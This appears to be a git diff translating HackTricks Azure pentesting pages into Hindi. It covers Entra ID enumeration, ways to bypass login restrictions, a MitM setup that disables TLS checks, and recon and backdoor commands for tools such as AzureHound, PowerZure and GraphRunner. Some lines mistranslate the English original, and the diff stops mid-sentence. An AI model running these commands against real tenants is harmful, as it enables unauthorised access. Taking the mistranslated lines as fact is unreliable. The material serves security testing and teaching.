-In cases where you have some valid credentials but you cannot login, these are some common protections that could be in place: +उन मामलों में जहाँ आपके पास कुछ मान्य क्रेडेंशियल्स हैं लेकिन आप लॉगिन नहीं कर सकते, ये कुछ सामान्य सुरक्षा उपाय हो सकते हैं: -- **IP whitelisting** -- You need to compromise a valid IP -- **Geo restrictions** -- Find where the user lives or where are the offices of the company and get a IP from the same city (or contry at least) -- **Browser** -- Maybe only a browser from certain OS (Windows, Linux, Mac, Android, iOS) is allowed. Find out which OS the victim/company uses. -- You can also try to **compromise Service Principal credentials** as they usually are less limited and its login is less reviewed +- **IP whitelisting** -- आपको एक मान्य IP को समझौता करना होगा +- **Geo restrictions** -- पता करें कि उपयोगकर्ता कहाँ रहता है या कंपनी के कार्यालय कहाँ हैं और उसी शहर (या कम से कम देश) से एक IP प्राप्त करें +- **Browser** -- शायद केवल कुछ OS (Windows, Linux, Mac, Android, iOS) से एक ब्राउज़र की अनुमति है। पता करें कि पीड़ित/कंपनी कौन सा OS उपयोग करती है। +- आप **Service Principal क्रेडेंशियल्स को समझौता करने** की कोशिश भी कर सकते हैं क्योंकि ये आमतौर पर कम सीमित होते हैं और इसका लॉगिन कम समीक्षा किया जाता है -After bypassing it, you might be able to get back to your initial setup and you will still have access. +इसे बायपास करने के बाद, आप अपनी प्रारंभिक सेटअप पर वापस जाने में सक्षम हो सकते हैं और आपके पास अभी भी पहुँच होगी। ### Subdomain Takeover @@ -75,13 +75,12 @@ After bypassing it, you might be able to get back to your initial setup and you ### Whoami > [!CAUTION] -> Learn **how to install** az cli, AzureAD and Az PowerShell in the [**Az - Entra ID**](az-services/az-azuread.md) section. +> जानें **कैसे स्थापित करें** az cli, AzureAD और Az PowerShell को [**Az - Entra ID**](az-services/az-azuread.md) अनुभाग में। -One of the first things you need to know is **who you are** (in which environment you are): +आपको जानने की आवश्यकता है कि आप **कौन हैं** (आप किस वातावरण में हैं): {{#tabs }} {{#tab name="az cli" }} - ```bash az account list az account tenant list # Current tenant info @@ -90,22 +89,18 @@ az ad signed-in-user show # Current signed-in user az ad signed-in-user list-owned-objects # Get owned objects by current user az account management-group list #Not allowed by default ``` - {{#endtab }} {{#tab name="AzureAD" }} - ```powershell #Get the current session state Get-AzureADCurrentSessionInfo #Get details of the current tenant Get-AzureADTenantDetail ``` - {{#endtab }} {{#tab name="Az PowerShell" }} - ```powershell # Get the information about the current context (Account, Tenant, Subscription etc.) Get-AzContext @@ -121,53 +116,49 @@ Get-AzResource Get-AzRoleAssignment # For all users Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user ``` - {{#endtab }} {{#endtabs }} > [!CAUTION] -> Oone of the most important commands to enumerate Azure is **`Get-AzResource`** from Az PowerShell as it lets you **know the resources your current user has visibility over**. +> Azure को सूचीबद्ध करने के लिए सबसे महत्वपूर्ण कमांडों में से एक है **`Get-AzResource`** Az PowerShell से, क्योंकि यह आपको **जानकारी देता है कि आपके वर्तमान उपयोगकर्ता के पास किन संसाधनों की दृश्यता है**। > -> You can get the same info in the **web console** going to [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) or searching for "All resources" +> आप वही जानकारी **वेब कंसोल** में [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) पर जाकर या "सभी संसाधन" खोजकर प्राप्त कर सकते हैं। ### ENtra ID Enumeration -By default, any user should have **enough permissions to enumerate** things such us, users, groups, roles, service principals... (check [default AzureAD permissions](az-basic-information/#default-user-permissions)).\ -You can find here a guide: +डिफ़ॉल्ट रूप से, किसी भी उपयोगकर्ता को **सूचीबद्ध करने के लिए पर्याप्त अनुमतियाँ होनी चाहिए** जैसे, उपयोगकर्ता, समूह, भूमिकाएँ, सेवा प्रमुख... (देखें [डिफ़ॉल्ट AzureAD अनुमतियाँ](az-basic-information/#default-user-permissions)).\ +आप यहाँ एक गाइड पा सकते हैं: {{#ref}} az-services/az-azuread.md {{#endref}} > [!NOTE] -> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\ -> In the following section you can check some ways to **enumerate some common services.** +> अब जब आपके पास **अपने क्रेडेंशियल्स के बारे में कुछ जानकारी है** (और यदि आप एक रेड टीम हैं, तो उम्मीद है कि आप **पकड़े नहीं गए हैं**)। यह पता लगाने का समय है कि वातावरण में कौन सी सेवाएँ उपयोग की जा रही हैं।\ +> अगले अनुभाग में आप **कुछ सामान्य सेवाओं को सूचीबद्ध करने के कुछ तरीके** देख सकते हैं। ## App Service SCM -Kudu console to log in to the App Service 'container'. +App Service 'container' में लॉग इन करने के लिए Kudu कंसोल। ## Webshell -Use portal.azure.com and select the shell, or use shell.azure.com, for a bash or powershell. The 'disk' of this shell are stored as an image file in a storage-account. +portal.azure.com का उपयोग करें और शेल का चयन करें, या bash या powershell के लिए shell.azure.com का उपयोग करें। इस शेल का 'डिस्क' एक स्टोरेज-खाता में एक इमेज फ़ाइल के रूप में संग्रहीत होता है। ## Azure DevOps -Azure DevOps is separate from Azure. It has repositories, pipelines (yaml or release), boards, wiki, and more. Variable Groups are used to store variable values and secrets. +Azure DevOps Azure से अलग है। इसमें रिपॉजिटरी, पाइपलाइन्स (yaml या रिलीज़), बोर्ड, विकी, और अधिक हैं। वेरिएबल ग्रुप्स का उपयोग वेरिएबल मान और रहस्यों को संग्रहीत करने के लिए किया जाता है। ## Debug | MitM az cli -Using the parameter **`--debug`** it's possible to see all the requests the tool **`az`** is sending: - +पैरामीटर **`--debug`** का उपयोग करके यह देखना संभव है कि उपकरण **`az`** सभी अनुरोध भेज रहा है: ```bash az account management-group list --output table --debug ``` - -In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can do: +एक **MitM** करने के लिए और **सभी अनुरोधों** की जांच करने के लिए जो यह मैन्युअल रूप से भेज रहा है, आप कर सकते हैं: {{#tabs }} {{#tab name="Bash" }} - ```bash export ADAL_PYTHON_SSL_NO_VERIFY=1 export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 @@ -180,25 +171,21 @@ export HTTP_PROXY="http://127.0.0.1:8080" openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem ``` - {{#endtab }} {{#tab name="PS" }} - ```bash $env:ADAL_PYTHON_SSL_NO_VERIFY=1 $env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 $env:HTTPS_PROXY="http://127.0.0.1:8080" $env:HTTP_PROXY="http://127.0.0.1:8080" ``` - {{#endtab }} {{#endtabs }} -## Automated Recon Tools +## स्वचालित पुनः खोज उपकरण ### [**ROADRecon**](https://github.com/dirkjanm/ROADtools) - ```powershell cd ROADTools pipenv shell @@ -206,9 +193,7 @@ roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!" roadrecon gather roadrecon gui ``` - ### [Monkey365](https://github.com/silverhack/monkey365) - ```powershell Import-Module monkey365 Get-Help Invoke-Monkey365 @@ -216,9 +201,7 @@ Get-Help Invoke-Monkey365 -Detailed Invoke-Monkey365 -IncludeEntraID -ExportTo HTML -Verbose -Debug -InformationAction Continue Invoke-Monkey365 - Instance Azure -Analysis All -ExportTo HTML ``` - ### [**Stormspotter**](https://github.com/Azure/Stormspotter) - ```powershell # Start Backend cd stormspotter\backend\ @@ -236,9 +219,7 @@ az login -u test@corp.onmicrosoft.com -p Welcome2022! python stormspotter\stormcollector\sscollector.pyz cli # This will generate a .zip file to upload in the frontend (127.0.0.1:9091) ``` - ### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound) - ```powershell # You need to use the Az PowerShell and Azure AD modules: $passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force @@ -294,9 +275,7 @@ MATCH p=(m:User)-[r:AZResetPassword|AZOwns|AZUserAccessAdministrator|AZContribu ## All Azure AD Groups that are synchronized with On-Premise AD MATCH (n:Group) WHERE n.objectid CONTAINS 'S-1-5' AND n.azsyncid IS NOT NULL RETURN n ``` - ### [Azucar](https://github.com/nccgroup/azucar) - ```bash # You should use an account with at least read-permission on the assets you want to access git clone https://github.com/nccgroup/azucar.git @@ -309,17 +288,13 @@ PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials # resolve the TenantID for an specific username PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com ``` - ### [**MicroBurst**](https://github.com/NetSPI/MicroBurst) - ``` Import-Module .\MicroBurst.psm1 Import-Module .\Get-AzureDomainInfo.ps1 Get-AzureDomainInfo -folder MicroBurst -Verbose ``` - ### [**PowerZure**](https://github.com/hausec/PowerZure) - ```powershell Connect-AzAccount ipmo C:\Path\To\Powerzure.psd1 @@ -340,9 +315,7 @@ $ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest # Administrator $ Create-Backdoor, Execute-Backdoor ``` - ### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner) - ```powershell #Get-GraphTokens @@ -398,9 +371,4 @@ Get-TenantID -Domain #Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams. Invoke-GraphRunner -Tokens $tokens ``` - {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-basic-information/README.md b/src/pentesting-cloud/azure-security/az-basic-information/README.md index a600b66dc..18ead621e 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/README.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/README.md @@ -8,41 +8,41 @@ ### Management Groups -- It can contain **other management groups or subscriptions**. -- This allows to **apply governance controls** such as RBAC and Azure Policy once at the management group level and have them **inherited** by all the subscriptions in the group. -- **10,000 management** groups can be supported in a single directory. -- A management group tree can support **up to six levels of depth**. This limit doesn’t include the root level or the subscription level. -- Each management group and subscription can support **only one parent**. -- Even if several management groups can be created **there is only 1 root management group**. - - The root management group **contains** all the **other management groups and subscriptions** and **cannot be moved or deleted**. -- All subscriptions within a single management group must trust the **same Entra ID tenant.** +- यह **अन्य प्रबंधन समूहों या सब्सक्रिप्शन** को समाहित कर सकता है। +- यह **प्रबंधन समूह स्तर पर शासन नियंत्रण** जैसे RBAC और Azure नीति को एक बार लागू करने की अनुमति देता है और इन्हें समूह में सभी सब्सक्रिप्शन द्वारा **विरासत में** प्राप्त किया जाता है। +- **10,000 प्रबंधन** समूह एकल निर्देशिका में समर्थित हो सकते हैं। +- एक प्रबंधन समूह का पेड़ **छह स्तर की गहराई** तक का समर्थन कर सकता है। यह सीमा मूल स्तर या सब्सक्रिप्शन स्तर को शामिल नहीं करती है। +- प्रत्येक प्रबंधन समूह और सब्सक्रिप्शन केवल **एक माता-पिता** का समर्थन कर सकता है। +- कई प्रबंधन समूह बनाए जा सकते हैं, लेकिन **केवल 1 मूल प्रबंधन समूह** है। +- मूल प्रबंधन समूह **सभी** **अन्य प्रबंधन समूहों और सब्सक्रिप्शन** को **समाहित करता है और इसे स्थानांतरित या हटाया नहीं जा सकता**। +- एकल प्रबंधन समूह के भीतर सभी सब्सक्रिप्शन को **एक ही Entra ID टेनेट** पर भरोसा करना चाहिए।

https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png

### Azure Subscriptions -- It’s another **logical container where resources** (VMs, DBs…) can be run and will be billed. -- Its **parent** is always a **management group** (and it can be the root management group) as subscriptions cannot contain other subscriptions. -- It **trust only one Entra ID** directory -- **Permissions** applied at the subscription level (or any of its parents) are **inherited** to all the resources inside the subscription +- यह एक और **तार्किक कंटेनर है जहां संसाधन** (VMs, DBs…) चलाए जा सकते हैं और बिल किया जाएगा। +- इसका **माता-पिता** हमेशा एक **प्रबंधन समूह** होता है (और यह मूल प्रबंधन समूह हो सकता है) क्योंकि सब्सक्रिप्शन अन्य सब्सक्रिप्शन को समाहित नहीं कर सकते। +- यह **केवल एक Entra ID** निर्देशिका पर भरोसा करता है। +- **अनुमतियाँ** जो सब्सक्रिप्शन स्तर (या इसके किसी भी माता-पिता) पर लागू होती हैं, वे सब्सक्रिप्शन के भीतर सभी संसाधनों को **विरासत में** मिलती हैं। ### Resource Groups -[From the docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) A resource group is a **container** that holds **related resources** for an Azure solution. The resource group can include all the resources for the solution, or only those **resources that you want to manage as a group**. Generally, add **resources** that share the **same lifecycle** to the same resource group so you can easily deploy, update, and delete them as a group. +[From the docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) एक संसाधन समूह एक **कंटेनर** है जो एक Azure समाधान के लिए **संबंधित संसाधनों** को रखता है। संसाधन समूह में समाधान के लिए सभी संसाधन शामिल हो सकते हैं, या केवल वे **संसाधन जिन्हें आप समूह के रूप में प्रबंधित करना चाहते हैं**। सामान्यतः, उन **संसाधनों** को एक ही संसाधन समूह में जोड़ें जो **एक ही जीवनचक्र** साझा करते हैं ताकि आप उन्हें समूह के रूप में आसानी से तैनात, अपडेट और हटा सकें। -All the **resources** must be **inside a resource group** and can belong only to a group and if a resource group is deleted, all the resources inside it are also deleted. +सभी **संसाधन** को **एक संसाधन समूह के भीतर होना चाहिए** और केवल एक समूह का हिस्सा हो सकते हैं और यदि एक संसाधन समूह को हटा दिया जाता है, तो इसके भीतर सभी संसाधन भी हटा दिए जाते हैं।

https://i0.wp.com/azuredays.com/wp-content/uploads/2020/05/org.png?resize=748%2C601&ssl=1

### Azure Resource IDs -Every resource in Azure has an Azure Resource ID that identifies it. +Azure में प्रत्येक संसाधन का एक Azure Resource ID होता है जो इसे पहचानता है। -The format of an Azure Resource ID is as follows: +Azure Resource ID का प्रारूप इस प्रकार है: - `/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/{resourceProviderNamespace}/{resourceType}/{resourceName}` -For a virtual machine named myVM in a resource group `myResourceGroup` under subscription ID `12345678-1234-1234-1234-123456789012`, the Azure Resource ID looks like this: +एक वर्चुअल मशीन जिसका नाम myVM है, एक संसाधन समूह `myResourceGroup` के तहत सब्सक्रिप्शन ID `12345678-1234-1234-1234-123456789012` में, Azure Resource ID इस प्रकार दिखता है: - `/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myResourceGroup/providers/Microsoft.Compute/virtualMachines/myVM` @@ -50,310 +50,306 @@ For a virtual machine named myVM in a resource group `myResourceGroup` under sub ### Azure -Azure is Microsoft’s comprehensive **cloud computing platform, offering a wide range of services**, including virtual machines, databases, artificial intelligence, and storage. It acts as the foundation for hosting and managing applications, building scalable infrastructures, and running modern workloads in the cloud. Azure provides tools for developers and IT professionals to create, deploy, and manage applications and services seamlessly, catering to a variety of needs from startups to large enterprises. +Azure माइक्रोसॉफ्ट का व्यापक **क्लाउड कंप्यूटिंग प्लेटफॉर्म है, जो एक विस्तृत श्रृंखला की सेवाएँ** प्रदान करता है, जिसमें वर्चुअल मशीन, डेटाबेस, आर्टिफिशियल इंटेलिजेंस, और स्टोरेज शामिल हैं। यह अनुप्रयोगों को होस्ट और प्रबंधित करने, स्केलेबल बुनियादी ढाँचे बनाने, और क्लाउड में आधुनिक कार्यभार चलाने के लिए आधार के रूप में कार्य करता है। Azure डेवलपर्स और IT पेशेवरों के लिए अनुप्रयोगों और सेवाओं को सहजता से बनाने, तैनात करने और प्रबंधित करने के लिए उपकरण प्रदान करता है, जो स्टार्टअप से लेकर बड़े उद्यमों तक की विभिन्न आवश्यकताओं को पूरा करता है। -### Entra ID (formerly Azure Active Directory) +### Entra ID (पूर्व में Azure Active Directory) -Entra ID is a cloud-based **identity and access management servic**e designed to handle authentication, authorization, and user access control. It powers secure access to Microsoft services such as Office 365, Azure, and many third-party SaaS applications. With features like single sign-on (SSO), multi-factor authentication (MFA), and conditional access policies among others. +Entra ID एक क्लाउड-आधारित **पहचान और पहुंच प्रबंधन सेवा** है जिसे प्रमाणीकरण, प्राधिकरण, और उपयोगकर्ता पहुंच नियंत्रण को संभालने के लिए डिज़ाइन किया गया है। यह Office 365, Azure, और कई तीसरे पक्ष के SaaS अनुप्रयोगों जैसी माइक्रोसॉफ्ट सेवाओं तक सुरक्षित पहुंच को सक्षम करता है। इसमें एकल साइन-ऑन (SSO), बहु-कारक प्रमाणीकरण (MFA), और शर्तीय पहुंच नीतियों जैसी सुविधाएँ शामिल हैं। -### Entra Domain Services (formerly Azure AD DS) +### Entra Domain Services (पूर्व में Azure AD DS) -Entra Domain Services extends the capabilities of Entra ID by offering **managed domain services compatible with traditional Windows Active Directory environments**. It supports legacy protocols such as LDAP, Kerberos, and NTLM, allowing organizations to migrate or run older applications in the cloud without deploying on-premises domain controllers. This service also supports Group Policy for centralized management, making it suitable for scenarios where legacy or AD-based workloads need to coexist with modern cloud environments. +Entra Domain Services Entra ID की क्षमताओं को बढ़ाता है, **पारंपरिक Windows Active Directory वातावरण के साथ संगत प्रबंधित डोमेन सेवाएँ** प्रदान करता है। यह LDAP, Kerberos, और NTLM जैसे विरासती प्रोटोकॉल का समर्थन करता है, जिससे संगठनों को क्लाउड में पुराने अनुप्रयोगों को माइग्रेट या चलाने की अनुमति मिलती है बिना ऑन-प्रिमाइसेस डोमेन नियंत्रकों को तैनात किए। यह सेवा केंद्रीकृत प्रबंधन के लिए समूह नीति का भी समर्थन करती है, जिससे यह उन परिदृश्यों के लिए उपयुक्त बनती है जहां विरासती या AD-आधारित कार्यभार को आधुनिक क्लाउड वातावरण के साथ सह-अस्तित्व में होना आवश्यक है। ## Entra ID Principals ### Users -- **New users** - - Indicate email name and domain from selected tenant - - Indicate Display name - - Indicate password - - Indicate properties (first name, job title, contact info…) - - Default user type is “**member**” -- **External users** - - Indicate email to invite and display name (can be a non Microsft email) - - Indicate properties - - Default user type is “**Guest**” +- **नए उपयोगकर्ता** +- चयनित टेनेट से ईमेल नाम और डोमेन निर्दिष्ट करें +- डिस्प्ले नाम निर्दिष्ट करें +- पासवर्ड निर्दिष्ट करें +- गुण निर्दिष्ट करें (पहला नाम, नौकरी का शीर्षक, संपर्क जानकारी…) +- डिफ़ॉल्ट उपयोगकर्ता प्रकार “**सदस्य**” है +- **बाहरी उपयोगकर्ता** +- आमंत्रित करने के लिए ईमेल और डिस्प्ले नाम निर्दिष्ट करें (यह माइक्रोसॉफ्ट ईमेल नहीं हो सकता) +- गुण निर्दिष्ट करें +- डिफ़ॉल्ट उपयोगकर्ता प्रकार “**अतिथि**” है ### Members & Guests Default Permissions -You can check them in [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions) but among other actions a member will be able to: +आप उन्हें [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions) पर देख सकते हैं लेकिन अन्य कार्यों के बीच एक सदस्य सक्षम होगा: -- Read all users, Groups, Applications, Devices, Roles, Subscriptions, and their public properties -- Invite Guests (_can be turned off_) -- Create Security groups -- Read non-hidden Group memberships -- Add guests to Owned groups -- Create new application (_can be turned off_) -- Add up to 50 devices to Azure (_can be turned off_) +- सभी उपयोगकर्ताओं, समूहों, अनुप्रयोगों, उपकरणों, भूमिकाओं, सब्सक्रिप्शन, और उनके सार्वजनिक गुणों को पढ़ें +- अतिथियों को आमंत्रित करें (_बंद किया जा सकता है_) +- सुरक्षा समूह बनाएं +- गैर-छिपे हुए समूह सदस्यता पढ़ें +- स्वामित्व वाले समूहों में अतिथियों को जोड़ें +- नया अनुप्रयोग बनाएं (_बंद किया जा सकता है_) +- Azure में 50 उपकरणों तक जोड़ें (_बंद किया जा सकता है_) > [!NOTE] -> Remember that to enumerate Azure resources the user needs an explicit grant of the permission. +> याद रखें कि Azure संसाधनों को सूचीबद्ध करने के लिए उपयोगकर्ता को अनुमति का स्पष्ट अनुदान चाहिए। ### Users Default Configurable Permissions -- **Members (**[**docs**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)** - - Register Applications: Default **Yes** - - Restrict non-admin users from creating tenants: Default **No** - - Create security groups: Default **Yes** - - Restrict access to Microsoft Entra administration portal: Default **No** - - This doesn’t restrict API access to the portal (only web) - - Allow users to connect work or school account with LinkedIn: Default **Yes** - - Show keep user signed in: Default **Yes** - - Restrict users from recovering the BitLocker key(s) for their owned devices: Default No (check in Device Settings) - - Read other users: Default **Yes** (via Microsoft Graph) -- **Guests** - - **Guest user access restrictions** - - **Guest users have the same access as members** grants all member user permissions to guest users by default. - - **Guest users have limited access to properties and memberships of directory objects (default)** restricts guest access to only their own user profile by default. Access to other users and group information is no longer allowed. - - **Guest user access is restricted to properties and memberships of their own directory objects** is the most restrictive one. - - **Guests can invite** - - **Anyone in the organization can invite guest users including guests and non-admins (most inclusive) - Default** - - **Member users and users assigned to specific admin roles can invite guest users including guests with member permissions** - - **Only users assigned to specific admin roles can invite guest users** - - **No one in the organization can invite guest users including admins (most restrictive)** - - **External user leave**: Default **True** - - Allow external users to leave the organization +- **सदस्य (**[**docs**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)** +- अनुप्रयोगों को पंजीकृत करें: डिफ़ॉल्ट **हाँ** +- गैर-प्रशासक उपयोगकर्ताओं को टेनेट बनाने से रोकें: डिफ़ॉल्ट **नहीं** +- सुरक्षा समूह बनाएं: डिफ़ॉल्ट **हाँ** +- माइक्रोसॉफ्ट Entra प्रशासन पोर्टल तक पहुंच को प्रतिबंधित करें: डिफ़ॉल्ट **नहीं** +- यह पोर्टल तक API पहुंच को प्रतिबंधित नहीं करता (केवल वेब) +- उपयोगकर्ताओं को लिंक्डइन के साथ कार्य या स्कूल खाता कनेक्ट करने की अनुमति दें: डिफ़ॉल्ट **हाँ** +- उपयोगकर्ता को साइन इन रखे: डिफ़ॉल्ट **हाँ** +- उपयोगकर्ताओं को उनके स्वामित्व वाले उपकरणों के लिए BitLocker कुंजी(ओं) को पुनर्प्राप्त करने से रोकें: डिफ़ॉल्ट नहीं (डिवाइस सेटिंग्स में जांचें) +- अन्य उपयोगकर्ताओं को पढ़ें: डिफ़ॉल्ट **हाँ** (Microsoft Graph के माध्यम से) +- **अतिथि** +- **अतिथि उपयोगकर्ता पहुंच प्रतिबंध** +- **अतिथि उपयोगकर्ताओं को सदस्यों के समान पहुंच** सभी सदस्य उपयोगकर्ता अनुमतियों को डिफ़ॉल्ट रूप से अतिथि उपयोगकर्ताओं को प्रदान करता है। +- **अतिथि उपयोगकर्ताओं को निर्देशिका वस्तुओं की संपत्तियों और सदस्यताओं तक सीमित पहुंच** डिफ़ॉल्ट रूप से केवल उनके अपने उपयोगकर्ता प्रोफ़ाइल तक अतिथि पहुंच को प्रतिबंधित करता है। अन्य उपयोगकर्ताओं और समूह की जानकारी तक पहुंच अब अनुमति नहीं है। +- **अतिथि उपयोगकर्ता पहुंच उनकी अपनी निर्देशिका वस्तुओं की संपत्तियों और सदस्यताओं तक सीमित है** सबसे प्रतिबंधात्मक है। +- **अतिथि आमंत्रित कर सकते हैं** +- **संगठन में कोई भी अतिथि उपयोगकर्ताओं को आमंत्रित कर सकता है जिसमें अतिथि और गैर-प्रशासक शामिल हैं (सबसे समावेशी) - डिफ़ॉल्ट** +- **सदस्य उपयोगकर्ता और विशिष्ट प्रशासनिक भूमिकाओं में नियुक्त उपयोगकर्ता अतिथि उपयोगकर्ताओं को आमंत्रित कर सकते हैं जिसमें सदस्य अनुमतियाँ शामिल हैं** +- **केवल विशिष्ट प्रशासनिक भूमिकाओं में नियुक्त उपयोगकर्ता अतिथि उपयोगकर्ताओं को आमंत्रित कर सकते हैं** +- **संगठन में कोई भी अतिथि उपयोगकर्ताओं को आमंत्रित नहीं कर सकता जिसमें प्रशासक शामिल हैं (सबसे प्रतिबंधात्मक)** +- **बाहरी उपयोगकर्ता छोड़ें**: डिफ़ॉल्ट **सच** +- बाहरी उपयोगकर्ताओं को संगठन छोड़ने की अनुमति दें > [!TIP] -> Even if restricted by default, users (members and guests) with granted permissions could perform the previous actions. +> भले ही डिफ़ॉल्ट रूप से प्रतिबंधित हो, उपयोगकर्ता (सदस्य और अतिथि) जिनके पास अनुमतियाँ हैं, वे पिछले कार्य कर सकते हैं। ### **Groups** -There are **2 types of groups**: +यहाँ **2 प्रकार के समूह** हैं: -- **Security**: This type of group is used to give members access to aplications, resources and assign licenses. Users, devices, service principals and other groups an be members. -- **Microsoft 365**: This type of group is used for collaboration, giving members access to a shared mailbox, calendar, files, SharePoint site, and so on. Group members can only be users. - - This will have an **email address** with the domain of the EntraID tenant. +- **सुरक्षा**: इस प्रकार के समूह का उपयोग सदस्यों को अनुप्रयोगों, संसाधनों तक पहुंच देने और लाइसेंस असाइन करने के लिए किया जाता है। उपयोगकर्ता, उपकरण, सेवा प्रमुख और अन्य समूह सदस्य हो सकते हैं। +- **Microsoft 365**: इस प्रकार के समूह का उपयोग सहयोग के लिए किया जाता है, सदस्यों को एक साझा मेलबॉक्स, कैलेंडर, फ़ाइलें, SharePoint साइट, आदि तक पहुंच प्रदान करता है। समूह के सदस्य केवल उपयोगकर्ता हो सकते हैं। +- इसका एक **ईमेल पता** होगा जो EntraID टेनेट के डोमेन के साथ होगा। -There are **2 types of memberships**: +यहाँ **2 प्रकार की सदस्यताएँ** हैं: -- **Assigned**: Allow to manually add specific members to a group. -- **Dynamic membership**: Automatically manages membership using rules, updating group inclusion when members attributes change. +- **नियुक्त**: एक समूह में विशिष्ट सदस्यों को मैन्युअल रूप से जोड़ने की अनुमति देता है। +- **डायनामिक सदस्यता**: नियमों का उपयोग करके सदस्यता को स्वचालित रूप से प्रबंधित करता है, जब सदस्यों के गुण बदलते हैं तो समूह में समावेश को अपडेट करता है। ### **Service Principals** -A **Service Principal** is an **identity** created for **use** with **applications**, hosted services, and automated tools to access Azure resources. This access is **restricted by the roles assigned** to the service principal, giving you control over **which resources can be accessed** and at which level. For security reasons, it's always recommended to **use service principals with automated tools** rather than allowing them to log in with a user identity. +एक **Service Principal** एक **पहचान** है जो **अनुप्रयोगों**, होस्टेड सेवाओं, और स्वचालित उपकरणों के साथ Azure संसाधनों तक पहुंच के लिए **उपयोग** के लिए बनाई गई है। यह पहुंच **सेवा प्रमुख को असाइन की गई भूमिकाओं द्वारा प्रतिबंधित** होती है, जिससे आपको **कौन से संसाधनों तक पहुंच प्राप्त है** और किस स्तर पर नियंत्रण मिलता है। सुरक्षा कारणों से, हमेशा अनुशंसा की जाती है कि **स्वचालित उपकरणों के साथ सेवा प्रमुखों का उपयोग करें** बजाय कि उन्हें उपयोगकर्ता पहचान के साथ लॉगिन करने की अनुमति दें। -It's possible to **directly login as a service principal** by generating it a **secret** (password), a **certificate**, or granting **federated** access to third party platforms (e.g. Github Actions) over it. +यह **सेवा प्रमुख के रूप में सीधे लॉगिन करना संभव है** एक **गुप्त** (पासवर्ड), एक **प्रमाणपत्र**, या तीसरे पक्ष के प्लेटफार्मों (जैसे Github Actions) के लिए **संघीय** पहुंच प्रदान करके। -- If you choose **password** auth (by default), **save the password generated** as you won't be able to access it again. -- If you choose certificate authentication, make sure the **application will have access over the private key**. +- यदि आप **पासवर्ड** प्रमाणीकरण चुनते हैं (डिफ़ॉल्ट), तो **उत्पन्न पासवर्ड को सहेजें** क्योंकि आप इसे फिर से एक्सेस नहीं कर पाएंगे। +- यदि आप प्रमाणपत्र प्रमाणीकरण चुनते हैं, तो सुनिश्चित करें कि **अनुप्रयोग के पास निजी कुंजी पर पहुंच होगी**। ### App Registrations -An **App Registration** is a configuration that allows an application to integrate with Entra ID and to perform actions. +एक **App Registration** एक कॉन्फ़िगरेशन है जो एक अनुप्रयोग को Entra ID के साथ एकीकृत करने और क्रियाएँ करने की अनुमति देता है। #### Key Components: -1. **Application ID (Client ID):** A unique identifier for your app in Azure AD. -2. **Redirect URIs:** URLs where Azure AD sends authentication responses. -3. **Certificates, Secrets & Federated Credentials:** It's possible to generate a secret or a certificate to login as the service principal of the application, or to grant federated access to it (e.g. Github Actions). - 1. If a **certificate** or **secret** is generated, it's possible to a person to **login as the service principal** with CLI tools by knowing the **application ID**, the **secret** or **certificate** and the **tenant** (domain or ID). -4. **API Permissions:** Specifies what resources or APIs the app can access. -5. **Authentication Settings:** Defines the app's supported authentication flows (e.g., OAuth2, OpenID Connect). -6. **Service Principal**: A service principal is created when an App is created (if it's done from the web console) or when it's installed in a new tenant. - 1. The **service principal** will get all the requested permissions it was configured with. +1. **अनुप्रयोग ID (Client ID):** Azure AD में आपके ऐप के लिए एक अद्वितीय पहचानकर्ता। +2. **Redirect URIs:** URLs जहां Azure AD प्रमाणीकरण प्रतिक्रियाएँ भेजता है। +3. **प्रमाणपत्र, गुप्त और संघीय क्रेडेंशियल्स:** यह संभव है कि एक गुप्त या प्रमाणपत्र उत्पन्न किया जाए ताकि अनुप्रयोग के सेवा प्रमुख के रूप में लॉगिन किया जा सके, या इसके लिए संघीय पहुंच प्रदान की जा सके (जैसे Github Actions)। +1. यदि एक **प्रमाणपत्र** या **गुप्त** उत्पन्न किया जाता है, तो यह संभव है कि एक व्यक्ति **CLI उपकरणों के साथ सेवा प्रमुख के रूप में लॉगिन करे** यह जानकर कि **अनुप्रयोग ID**, **गुप्त** या **प्रमाणपत्र** और **टेनेट** (डोमेन या ID) क्या है। +4. **API Permissions:** निर्दिष्ट करता है कि ऐप किन संसाधनों या APIs तक पहुंच 